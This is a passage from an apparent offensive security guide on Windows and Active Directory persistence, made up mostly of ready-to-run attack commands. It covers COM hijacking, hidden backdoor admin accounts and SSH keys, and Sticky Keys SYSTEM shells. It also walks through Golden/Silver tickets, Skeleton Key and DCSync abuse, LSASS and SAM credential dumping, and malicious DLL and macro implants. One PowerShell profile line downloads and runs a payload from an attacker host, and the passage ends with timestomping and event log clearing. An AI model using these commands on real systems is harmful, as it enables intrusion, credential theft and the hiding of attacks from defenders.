1. Check HKCU\SOFTWARE\Classes\CLSID\{CLSID}\InprocServer32
← USER CAN WRITE HERE WITHOUT ADMIN!
2. Check HKLM\SOFTWARE\Classes\CLSID\{CLSID}\InprocServer32
← Requires admin to write
HKCU wins over HKLM → place your DLL in HKCU to hijack the COM object
without admin privileges.
9.2 Finding Hijackable COM Objects
# ─── Find COM objects called by processes but not registered in HKCU ───
# Best done with Procmon:
# Filter: Operation = RegOpenKey, Path contains HKCU\SOFTWARE\Classes\CLSID, Result = NAME NOT FOUND
# These are COM objects where HKCU wins and there's no existing HKCU registration
# ─── Automated: COM hijacking finder scripts ───
# https://github.com/thezdi/PoC/tree/master/CVE-related or manual Procmon filtering
# ─── Check for missing InprocServer32 entries in HKCU ───
Get-ChildItem "HKCU:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue |
ForEach-Object {
$inproc = "$($_.PSPath)\InprocServer32"
if (-not (Test-Path $inproc)) { $_ }
}
9.3 Implementing COM Hijacking
:: ─── Register a fake COM object in HKCU (no admin needed) ───
:: Example: Hijacking {B31118B2-1F49-48E5-B6F5-BC21CAEC56FB} (Windows Media Player)
reg add "HKCU\SOFTWARE\Classes\CLSID\{B31118B2-1F49-48E5-B6F5-BC21CAEC56FB}\InprocServer32" ^
/ve /t REG_SZ /d "C:\Users\Public\malicious.dll" /f
reg add "HKCU\SOFTWARE\Classes\CLSID\{B31118B2-1F49-48E5-B6F5-BC21CAEC56FB}\InprocServer32" ^
/v "ThreadingModel" /t REG_SZ /d "Apartment" /f
9.4 Commonly Hijacked COM CLSIDs
WELL-KNOWN COM HIJACKING TARGETS:
────────────────────────────────────────────────────────────────────
CLSID Called By Trigger
─────────────────────────────────────────────────────────────────────
{B31118B2-1F49-48E5-B6F5-BC21CAEC56FB} Windows Media Player Media open
{9BA05972-F6A8-11CF-A442-00A0C90A8F39} ShellWindows Explorer
{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} Task Scheduler UI schtasks
{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D} MMC Administrative
{D5153E9A-61F8-43CF-B7E3-5D69E0891E4E} Windows Defender On logon
10. Account-Based Persistence
Creating backdoor accounts or modifying existing accounts provides credential-based persistence that survives even if other persistence mechanisms are cleaned.
10.1 Creating Backdoor Local Accounts
:: ─── Create a hidden local admin account ───
net user HelpDesk$ P@ssw0rd123! /add /active:yes
net localgroup Administrators HelpDesk$ /add
:: ─── The $ suffix convention makes the account slightly less visible in net user ───
:: ─── Add to Remote Desktop Users group ───
net localgroup "Remote Desktop Users" HelpDesk$ /add
:: ─── Add to Remote Management Users (WinRM/PSRemoting) ───
net localgroup "Remote Management Users" HelpDesk$ /add
:: ─── Make account not expire ───
net user HelpDesk$ /expires:never
net user HelpDesk$ /passwordchg:no
:: ─── Hide account from logon screen (registry) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" ^
/v "HelpDesk$" /t REG_DWORD /d 0 /f
# ─── PowerShell — Create local admin account ───
$Password = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
New-LocalUser -Name "HelpDesk$" -Password $Password -PasswordNeverExpires `
-UserMayNotChangePassword -Description "Windows Help Desk" -AccountNeverExpires
Add-LocalGroupMember -Group "Administrators" -Member "HelpDesk$"
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "HelpDesk$"
# ─── Disable account (use only when needed, activate when needed) ───
Disable-LocalUser -Name "HelpDesk$"
# Re-enable:
Enable-LocalUser -Name "HelpDesk$"
10.2 Adding to Existing Accounts / Shadow Admins
# ─── Add SID history to a domain account (requires DA) ───
# Covered in Active Directory Persistence section
# ─── Add existing user to Administrators silently ───
Add-LocalGroupMember -Group "Administrators" -Member "TargetUser"
# ─── Use net group for domain ───
net group "Domain Admins" HelpDesk$ /add /domain
10.3 Enabling Disabled Built-in Accounts
:: ─── Enable built-in Administrator (often disabled in modern Windows) ───
net user Administrator /active:yes
net user Administrator P@ssw0rd123!
:: ─── Enable Guest account (low-priv, but useful for pivot) ───
net user Guest /active:yes
net user Guest P@ssw0rd!
:: ─── Enable from registry ───
reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F4" /f
:: (Direct SAM editing requires SYSTEM and offline access to SAM)
10.4 SSH Authorized Keys (Windows OpenSSH)
Windows 10/Server 2019+ ship with OpenSSH Server. Adding your public key to authorized keys gives persistent SSH access.
# ─── Enable OpenSSH Server ───
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
# ─── Add SSH authorized key ───
# For admin users — global authorized_keys file (takes priority)
$AuthKeysAdminPath = "C:\ProgramData\ssh\administrators_authorized_keys"
Add-Content -Path $AuthKeysAdminPath -Value "ssh-rsa AAAA... attacker@kali"
icacls $AuthKeysAdminPath /inheritance:r /grant "SYSTEM:F" /grant "Administrators:F"
# ─── For standard users ───
$AuthKeysPath = "C:\Users\TargetUser\.ssh\authorized_keys"
New-Item -ItemType Directory -Force -Path "C:\Users\TargetUser\.ssh"
Add-Content -Path $AuthKeysPath -Value "ssh-rsa AAAA... attacker@kali"
11. Accessibility Feature Backdoors
Windows accessibility features (Sticky Keys, Utilman, Narrator etc.) run as SYSTEM on the logon screen without requiring authentication. Replacing them with cmd.exe provides pre-authentication SYSTEM shell access.
11.1 Target Binaries
ACCESSIBILITY BINARIES (run at logon screen as SYSTEM):
────────────────────────────────────────────────────────────────────
C:\Windows\System32\sethc.exe → Sticky Keys (Shift x5)
C:\Windows\System32\utilman.exe → Utility Manager (Win+U)
C:\Windows\System32\osk.exe → On-Screen Keyboard
C:\Windows\System32\narrator.exe → Narrator (Win+Enter)
C:\Windows\System32\magnify.exe → Magnifier (Win++)
C:\Windows\System32\displayswitch.exe → Display Switch (Win+P)
11.2 Replace via IFEO (No File Replacement Needed)
This method avoids replacing system binaries (which triggers integrity checks) and instead uses IFEO to launch cmd.exe instead of the accessibility feature.
:: ─── Set cmd.exe as "debugger" for Sticky Keys ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ^
/v "Debugger" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
:: ─── Set cmd.exe for Utility Manager ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" ^
/v "Debugger" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
:: ─── Trigger: On Windows logon screen, press Shift x5 (Sticky Keys)
:: → cmd.exe opens as SYSTEM with NO authentication required
11.3 Replace Binary (Classic Method — requires offline or SYSTEM)
:: ─── Requires: SYSTEM access (boot from USB, or already SYSTEM) ───
:: ─── Take ownership and replace ───
takeown /f C:\Windows\System32\sethc.exe /a
icacls C:\Windows\System32\sethc.exe /grant Administrators:F
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
:: ─── Same for utilman ───
takeown /f C:\Windows\System32\utilman.exe /a
icacls C:\Windows\System32\utilman.exe /grant Administrators:F
copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
TIP: This works even on RDP sessions. Connect via RDP, reach the logon screen, then press Shift x5 (or Win+U) for a SYSTEM shell without credentials.
12. Boot & Pre-OS Persistence
These techniques operate below the OS layer and are the most difficult to detect and remove. They are used by advanced persistent threats and rootkits.
12.1 Master Boot Record (MBR) Persistence
The MBR is the first sector of a bootable disk. Overwriting it with malicious code creates boot-level persistence.
MBR ATTACK FLOW:
────────────────────────────────────────────────────────────────────
System Power On → BIOS/UEFI reads MBR → MBR code executes →
Malicious code runs → Loads real bootloader → Windows boots normally
(Rootkit is already active in memory before Windows starts)
KNOWN MBR BOOTKITS:
- TDL4 (Alureon)
- Necurs
- Shamoon
- Petya / NotPetya (weaponized, not for persistence — destroys MBR)
Tools (for testing in controlled labs only):
- BootSect.exe (Windows built-in)
- dd (Linux) to backup/restore MBR
# ─── Backup MBR (Linux, for lab use) ───
dd if=/dev/sda of=/tmp/mbr_backup.bin bs=512 count=1
# ─── Restore MBR ───
dd if=/tmp/mbr_backup.bin of=/dev/sda bs=512 count=1
12.2 UEFI/EFI Persistence (Bootkit)
UEFI persistence survives OS reinstalls, disk wipes, and most security tooling. It lives in the UEFI firmware or EFI System Partition (ESP).
UEFI PERSISTENCE TIERS:
────────────────────────────────────────────────────────────────────
1. EFI System Partition (ESP) implant
→ Malicious .efi binary in /EFI/<vendor>/ on the ESP
→ Survives: OS reinstall, disk format (if ESP preserved)
→ Removed by: formatting ESP, Secure Boot enforcement
2. UEFI firmware implant
→ Modified UEFI ROM on motherboard
→ Survives: OS reinstall, disk format, BIOS factory reset
→ Removed by: physical motherboard replacement, specific flash
→ Requires: physical access OR BIOS firmware update vulnerability
REAL-WORLD UEFI IMPLANTS (APT reference):
- MosaicRegressor (2020, APT41-linked)
- FinSpy UEFI bootkit (commercial spyware)
- CosmicStrand (2022, attribution unclear)
- BlackLotus (2023, first publicly known UEFI bootkit defeating Secure Boot on Windows 11)
# ─── Check if Secure Boot is enabled ───
Confirm-SecureBootUEFI # Returns True/False
# ─── Check EFI boot entries ───
bcdedit /enum firmware
# ─── List EFI System Partition contents ───
mountvol X: /s # Mount ESP to X:
dir X:\EFI\
12.3 Bootloader Manipulation
:: ─── View current boot configuration ───
bcdedit /enum all
:: ─── Add a boot entry pointing to a malicious binary ───
bcdedit /copy {current} /d "Windows Diagnostic Mode"
bcdedit /set {<new-GUID>} path \EFI\Microsoft\Boot\malicious.efi
bcdedit /set {<new-GUID>} description "Windows Diagnostic Mode"
:: ─── Set as default boot option ───
bcdedit /default {<new-GUID>}
13. Active Directory Persistence
Once Domain Admin or equivalent access is obtained, AD-level persistence provides access that survives complete OS reinstalls of member machines and persists across the entire domain.
13.1 Golden Ticket
A Golden Ticket is a forged Kerberos TGT (Ticket Granting Ticket) created using the krbtgt account's NTLM hash. It can impersonate any account in the domain, including Domain Admins, for the lifetime of the ticket (default 10 years when forged, but krbtgt password change invalidates all existing tickets).
REQUIREMENTS:
────────────────────────────────────────────────────────────────────
- krbtgt account NTLM hash
- Domain SID
- Target username (can be any, even non-existent!)
- Domain FQDN
# ─── Step 1: Get krbtgt hash and domain info ───
# Via Mimikatz (requires DA or SYSTEM on DC):
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
# OR via DCSync (no local access to DC needed):
mimikatz # lsadump::dcsync /user:krbtgt
# ─── Step 2: Get Domain SID ───
whoami /user # SID format: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-<RID>
# Domain SID = everything except the last -XXXX portion
# ─── Step 3: Create Golden Ticket ───
mimikatz # kerberos::golden /user:Administrator /domain:corp.local `
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
/krbtgt:<NT_HASH> /ticket:golden.kirbi
# ─── Step 4: Inject ticket ───
mimikatz # kerberos::ptt golden.kirbi
# ─── Or use Rubeus ───
.\Rubeus.exe golden /user:Administrator /domain:corp.local `
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
/rc4:<krbtgt_NT_HASH> /ptt
# ─── Verify ───
klist
dir \\DC01.corp.local\c$
13.2 Silver Ticket
A Silver Ticket is a forged Kerberos TGS (service ticket) for a specific service. It does not touch the KDC during use and is therefore harder to detect. It persists as long as the service account password remains the same.
REQUIREMENTS:
────────────────────────────────────────────────────────────────────
- Service account NTLM hash (machine account or service account)
- Domain SID
- SPN of the target service
# ─── Create Silver Ticket for CIFS (file sharing) on DC01 ───
mimikatz # kerberos::golden /user:Administrator /domain:corp.local `
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
/target:DC01.corp.local /service:cifs `
/rc4:<DC01_MACHINE_ACCOUNT_HASH> /ticket:silver.kirbi
mimikatz # kerberos::ptt silver.kirbi
# ─── Common SPN targets for Silver Tickets ───
# cifs → File system access (dir \\server\c$)
# http → IIS/web access
# ldap → LDAP queries (DCSync-like)
# host → Remote management, tasks
# rpcss → RPC services
# mssqlsvc → SQL Server access
# ─── Rubeus silver ticket ───
.\Rubeus.exe silver /user:Administrator /domain:corp.local `
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
/target:DC01.corp.local /service:cifs `
/rc4:<HASH> /ptt
13.3 DCSync Privilege — Persistent DA Rights Without DA Group Membership
Grant DCSync rights to a controlled account so you can run DCSync (dump all hashes) without being in Domain Admins. This is a "shadow DA" technique.
# ─── Grant DCSync rights via PowerView ───
Import-Module .\PowerView.ps1
# Grant DCSync to a controlled user (requires current DA access)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" `
-PrincipalIdentity "BackdoorUser" `
-Rights DCSync -Verbose
# ─── Verify with BloodHound or manually ───
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs |
Where-Object { $_.IdentityReferenceName -eq "BackdoorUser" }
# ─── Later — run DCSync with the backdoor user ───
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt /dc:DC01.corp.local
.\Rubeus.exe dcsync /domain:corp.local /user:krbtgt
13.4 AdminSDHolder Abuse
AdminSDHolder is a template object in AD that periodically (every 60 minutes by default) re-applies its DACL to all protected groups (Domain Admins, Schema Admins, etc.). By adding a backdoor ACE to AdminSDHolder, you ensure persistent ACL rights on all high-value groups.
# ─── Add Full Control ACE on AdminSDHolder for backdoor user ───
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
-PrincipalIdentity "BackdoorUser" -Rights All -Verbose
# ─── Force immediate SDProp propagation (instead of waiting 60 min) ───
# Via PowerShell:
$Domain = [ADSI]"LDAP://DC=corp,DC=local"
$SDProp = $Domain.psbase.Children | Where-Object { $_.Name -eq "AdminSDHolder" }
# Via Impacket:
python3 dacledit.py corp.local/DA_User:Password@DC01 -action write `
-rights FullControl -principal BackdoorUser `
-target "CN=AdminSDHolder,CN=System,DC=corp,DC=local"
After propagation (up to 60 min or forced),
BackdoorUserwill have Full Control over Domain Admins, Schema Admins, etc. This means you can add yourself back to DA at any time.
13.5 DSRM Account
The Directory Services Restore Mode (DSRM) account is a local administrator account on every Domain Controller with a separately set password. Enabling it for network logon provides a persistent DA-equivalent backdoor on the DC.
# ─── Get DSRM account hash ───
mimikatz # lsadump::sam # On the DC — dumps local SAM including DSRM
# ─── Enable DSRM account for network logon (requires admin on DC) ───
# Set DsrmAdminLogonBehavior to 2 (allow network logon)
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name DsrmAdminLogonBehavior -Value 2 -PropertyType DWORD -Force
# ─── Now pass-the-hash with DSRM account ───
# Username: Administrator (local to DC — use .\Administrator or DC01\Administrator)
# Hash: DSRM NTLM hash from SAM dump
mimikatz # sekurlsa::pth /user:Administrator /domain:DC01 /ntlm:<DSRM_HASH> /run:powershell
13.6 Skeleton Key
A Skeleton Key is an in-memory patch to LSASS on the DC that allows ANY user to authenticate with a universal master password while their real password continues to work normally. It does NOT persist across reboots.
# ─── Inject Skeleton Key into DC LSASS (requires DA + SYSTEM on DC) ───
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Default master password: mimikatz
# ─── Any domain user can now authenticate with master password ───
# Real password still works
# Master password (mimikatz) also works
# After DC reboot, Skeleton Key is gone
# ─── For reboot persistence: combine with service or scheduled task on DC ───
# e.g., schtasks on DC that re-runs mimikatz misc::skeleton on startup
13.7 SID History Injection
Injecting Domain Admin SID into a regular user's SID History attribute gives that user effective DA rights without appearing in the Domain Admins group.
# ─── Inject DA SID into backdoor user's SIDHistory ───
# Requires DA access
Import-Module .\PowerView.ps1
# Get Domain Admin SID
$DaSID = (Get-DomainGroup "Domain Admins").objectsid
# Inject SID history (requires mimikatz sid::patch first)
mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sid:<DA_SID> /sam:BackdoorUser
# ─── Verify ───
Get-DomainUser BackdoorUser | Select-Object -ExpandProperty sidhistory
14. Credential-Based Persistence
Harvesting and storing credentials from the compromised system enables persistent access through authentication rather than code execution.
14.1 Dumping LSA Secrets
LSA Secrets store service account credentials, domain machine account passwords, and cached domain credentials.
# ─── Dump LSA Secrets (requires SYSTEM) ───
mimikatz # lsadump::secrets
# ─── Impacket ───
python3 secretsdump.py corp.local/DA_User:Password@TargetHost
# ─── CrackMapExec / NetExec ───
nxc smb <target> -u DA_User -p Password --lsa
14.2 Credential Dumping for Persistent Access
# ─── LSASS dump ───
# Mimikatz:
mimikatz # sekurlsa::logonpasswords
# Task Manager method (SYSTEM required):
# Task Manager → Details → lsass.exe → Create Dump File
# ProcDump:
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
# Analyze offline on Kali:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# ─── Shadow Copy / Volume Shadow to extract SAM/SYSTEM ───
vssadmin create shadow /for=C:
# Find shadow copy path:
vssadmin list shadows
# Copy SAM and SYSTEM hive from shadow:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\
# Extract on Kali:
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
14.3 Credential Manager Persistence
Windows Credential Manager stores saved credentials for websites, network shares, and RDP. Adding attacker-controlled credentials here can facilitate lateral movement.
:: ─── List saved credentials ───
cmdkey /list
:: ─── Add a credential entry (for persistence or impersonation) ───
cmdkey /add:TargetServer /user:Administrator /pass:P@ssw0rd
:: ─── Use with runas ───
runas /savedcredentials /user:Administrator cmd.exe
:: ─── Dump via Mimikatz ───
mimikatz # vault::list
mimikatz # vault::cred
15. AppInit DLLs & LSA Notification Packages
15.1 AppInit DLLs
AppInit DLLs are loaded into every process that loads user32.dll — which is essentially every GUI process. This provides extremely broad code execution across all user-facing applications.
KEY: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
Values:
AppInit_DLLs → REG_SZ → Comma-separated DLL paths
LoadAppInit_DLLs→ REG_DWORD → 1 to enable, 0 to disable
RequireSignedAppInit_DLLs → REG_DWORD → 1 = code signing required (blocks this)
:: ─── Enable AppInit DLL persistence ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
/v "AppInit_DLLs" /t REG_SZ /d "C:\Windows\System32\malicious.dll" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
/v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f
:: ─── Disable requirement for signed DLLs (if Secure Boot is off) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
/v "RequireSignedAppInit_DLLs" /t REG_DWORD /d 0 /f
NOTE: On systems with Secure Boot enabled,
RequireSignedAppInit_DLLsis automatically set to 1 and unsigned DLLs are rejected.
15.2 LSA Authentication Packages
LSA notification packages are DLLs loaded by LSASS that receive notification callbacks on user authentication events (password changes, logon/logoff). This is used by key loggers and credential stealers.
KEY: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Values:
Notification Packages → REG_MULTI_SZ → List of DLL names (without .dll extension)
Authentication Packages → REG_MULTI_SZ → List of auth provider DLLs
Security Packages → REG_MULTI_SZ → List of security package DLLs
:: ─── View current values ───
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"
:: ─── Add malicious package (DLL must be placed in System32 and export specific functions) ───
:: The DLL must export: SpInitialize, SpShutdown, SpGetInfo, SpGetExtendedInformation
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" ^
/v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0malicious" /f
The malicious DLL must be in
C:\Windows\System32\and implement the Security Support Provider (SSP) interface. This requires a reboot to take effect.
16. Print Monitor & Port Monitor DLLs
Print Monitors and Port Monitors are DLLs loaded by the Spooler service (running as SYSTEM). This is a legitimate extension mechanism abused for persistence.
KEYS:
Print Monitor:
HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\<MonitorName>
Value: Driver = <dll_name_without_path>
DLL must be in: C:\Windows\System32\
Port Monitor:
HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\<MonitorName>
(same location, same mechanism)
:: ─── Copy DLL to System32 ───
copy C:\Windows\Temp\malicious.dll C:\Windows\System32\printmon.dll
:: ─── Register as print monitor ───
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\WindowsMonitor" ^
/v "Driver" /t REG_SZ /d "printmon.dll" /f
:: ─── Spooler service must restart (or system reboot) for DLL to load ───
net stop spooler && net start spooler
DLL runs as SYSTEM (Spooler context). Must export:
InitializePrintMonitor2.
17. Office & Application Macros
17.1 Office Template Persistence (Word Normal.dotm)
The Normal.dotm file is the default template loaded by Microsoft Word whenever it starts. Adding a macro to Normal.dotm executes code every time Word is opened.
NORMAL.DOTM LOCATION:
C:\Users\<user>\AppData\Roaming\Microsoft\Templates\Normal.dotm
' VBA Macro in Normal.dotm — executes on Word startup
Private Sub Document_Open()
Dim Shell As Object
Set Shell = CreateObject("WScript.Shell")
Shell.Run "cmd.exe /c C:\Windows\Temp\payload.exe", 0, False
End Sub
' Alternative — Document_New triggers on new document creation
Private Sub Document_New()
CreateObject("WScript.Shell").Run "powershell -enc <BASE64>", 0
End Sub
17.2 Excel Personal Workbook (PERSONAL.XLSB)
The Excel personal macro workbook loads automatically whenever Excel starts.
LOCATION:
C:\Users\<user>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB
17.3 Add-Ins and COM Add-Ins
Office add-ins load when the application starts, providing persistent code execution in the context of the Office application's user.
REGISTRY KEYS FOR OFFICE ADD-INS:
HKCU\SOFTWARE\Microsoft\Office\<version>\Word\Addins\
HKCU\SOFTWARE\Microsoft\Office\<version>\Excel\Addins\
HKLM\SOFTWARE\Microsoft\Office\<version>\Word\Addins\
Required Values:
FriendlyName → REG_SZ → Display name
LoadBehavior → REG_DWORD → 3 = load at startup
Manifest → REG_SZ → Path to add-in manifest or DLL
18. Browser Extensions & Credential Stores
18.1 Malicious Browser Extension
Browser extensions can persist in the browser profile and access passwords, cookies, and browsing history.
CHROME EXTENSION STORAGE:
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Extensions\
EDGE EXTENSION STORAGE:
C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\
FIREFOX EXTENSION STORAGE:
C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\extensions\
# ─── Enumerate installed Chrome extensions ───
$ExtPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
Get-ChildItem $ExtPath | ForEach-Object {
$manifest = "$($_.FullName)\*\manifest.json"
$manifests = Get-ChildItem $manifest -ErrorAction SilentlyContinue
foreach ($m in $manifests) {
$content = Get-Content $m.FullName -Raw | ConvertFrom-Json -ErrorAction SilentlyContinue
[PSCustomObject]@{ ID = $_.Name; Name = $content.name; Version = $content.version }
}
} | Format-Table -AutoSize
18.2 Credential Store Enumeration
# ─── Chrome saved passwords (user must not have sync with Google Account enabled) ───
# Stored at: C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data
# This is a SQLite database encrypted with DPAPI
# ─── LaZagne (all credential stores) ───
.\LaZagne.exe all
.\LaZagne.exe browsers
.\LaZagne.exe windows # Windows Credential Manager
# ─── SharpWeb (Chrome/Firefox/Edge creds) ───
.\SharpWeb.exe
# ─── Dump Chrome passwords via Mimikatz ───
mimikatz # dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
19. Living-off-the-Land (LOLBin) Persistence
LOLBin persistence uses built-in Windows binaries to avoid dropping additional executables. This significantly reduces the footprint and evades signature-based detection.
19.1 PowerShell Profile
The PowerShell profile (profile.ps1) is executed every time PowerShell starts. Adding code to it creates persistence that triggers on any PowerShell execution.
PROFILE LOCATIONS (loaded in order):
────────────────────────────────────────────────────────────────────
$PSHOME\Profile.ps1 → All users, all hosts
$PSHOME\Microsoft.PowerShell_profile.ps1 → All users, PowerShell console only
$HOME\Documents\PowerShell\Profile.ps1 → Current user, all hosts
$HOME\Documents\PowerShell\Microsoft.PowerShell_profile.ps1 → Current user, console
# ─── View profile paths ───
$PROFILE | Select-Object *
# ─── Add payload to current user profile ───
$payload = "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')"
Add-Content -Path $PROFILE.CurrentUserAllHosts -Value $payload
# ─── Or write directly ───
"Start-Process C:\Windows\Temp\payload.exe -WindowStyle Hidden" |
Out-File -Append -FilePath $PROFILE.AllUsersAllHosts -Encoding utf8
# ─── View current profile content ───
Get-Content $PROFILE -ErrorAction SilentlyContinue
19.2 Netsh Helper DLL
netsh.exe supports loading helper DLLs. This DLL is loaded whenever netsh.exe runs.
KEY: HKLM\SOFTWARE\Microsoft\NetSh
Value: <helper_name> = <dll_path>
:: ─── Register a netsh helper DLL ───
netsh add helper C:\Windows\System32\netshpersist.dll
:: ─── Or via registry ───
reg add "HKLM\SOFTWARE\Microsoft\NetSh" ^
/v "NetworkDiagHelper" /t REG_SZ /d "C:\Windows\System32\netshpersist.dll" /f
19.3 Mshta, Wscript, Cscript Autoruns
:: ─── Use mshta in run key for script execution (fileless-ish) ───
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
/v "WindowsCheck" /t REG_SZ ^
/d "mshta.exe vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run \"\"cmd.exe /c payload.exe\"\",0:close\")" /f
:: ─── Wscript running a remote script ───
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
/v "SystemCheck" /t REG_SZ ^
/d "wscript.exe //B //Nologo C:\Users\Public\run.vbs" /f
19.4 MSDTC / MSDTClog Abuse
MSDTC (Microsoft Distributed Transaction Coordinator) loads DLLs from a configurable path.
KEY: HKLM\SOFTWARE\Microsoft\MSDTC\MTxOCI
Values: OracleOciLib, OracleSqlLib, OracleXaLib → DLL paths (can be hijacked)
reg add "HKLM\SOFTWARE\Microsoft\MSDTC\MTxOCI" ^
/v "OracleOciLib" /t REG_SZ /d "C:\Windows\System32\malicious.dll" /f
:: ─── Restart MSDTC to load ───
net stop msdtc && net start msdtc
19.5 RDP Shadowing for Persistence (Legitimate Feature Abuse)
:: ─── Enable RDP ───
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
:: ─── Enable restricted admin mode (allows pass-the-hash via RDP) ───
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
:: ─── RDP pass-the-hash (from Kali) ───
xfreerdp /u:Administrator /pth:<NT_HASH> /v:<target_ip> /cert-ignore
20. Detection Evasion & Cleanup Considerations
20.1 General Evasion Principles
EVASION PRINCIPLES FOR PERSISTENCE:
────────────────────────────────────────────────────────────────────
1. NAME MIMICRY → Use names identical or similar to legitimate Windows components
(MicrosoftEdgeUpdate, WindowsDefenderService, etc.)
2. PATH CHOICE → Place payloads in directories that contain many binaries
(C:\Windows\System32\, C:\Windows\SysWOW64\, C:\ProgramData\)
Avoid: C:\Temp\, C:\Users\Public\ (suspicious, monitored)
3. SIGNATURE ABUSE → Sign your payload using:
a. Stolen code-signing certificate
b. Binary stuffing (appending to a signed binary)
c. Catalog-signed binary replacement
4. TIMESTAMPS → Timestomp the payload binary to match system file dates
powershell: (Get-Item .\payload.exe).LastWriteTime = "01/01/2020 09:00:00"
5. LOG EVASION → Clear relevant logs after installing persistence
(see cleanup section below)
6. TRIGGER CHOICE → Avoid high-frequency triggers (every minute) as they generate
obvious process creation events. Prefer boot/logon triggers.
7. FILELESS WHERE → Prefer WMI subscriptions, registry-encoded scripts, and
POSSIBLE reflective DLL loading over dropping files to disk.
20.2 Timestomping
# ─── Match timestamps of a reference file ───
$ref = Get-Item "C:\Windows\System32\ntdll.dll"
$target = Get-Item "C:\Windows\System32\payload.exe"
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime
# ─── Via cmd ───
# (Timestomp tool from Metasploit/custom)
.\timestomp.exe C:\Windows\System32\payload.exe -m "01/01/2020 09:00:00"
.\timestomp.exe C:\Windows\System32\payload.exe -c "01/01/2020 09:00:00"
.\timestomp.exe C:\Windows\System32\payload.exe -a "01/01/2020 09:00:00"
20.3 Clearing Logs After Installation
:: ─── Clear Windows Event Logs ───
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Microsoft-Windows-TaskScheduler/Operational"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-WMI-Activity/Operational"
:: ─── Clear PowerShell history ───
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Clear-History
:: ─── Disable PowerShell script block logging (before installing) ───
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
-Name "EnableScriptBlockLogging" -Value 0
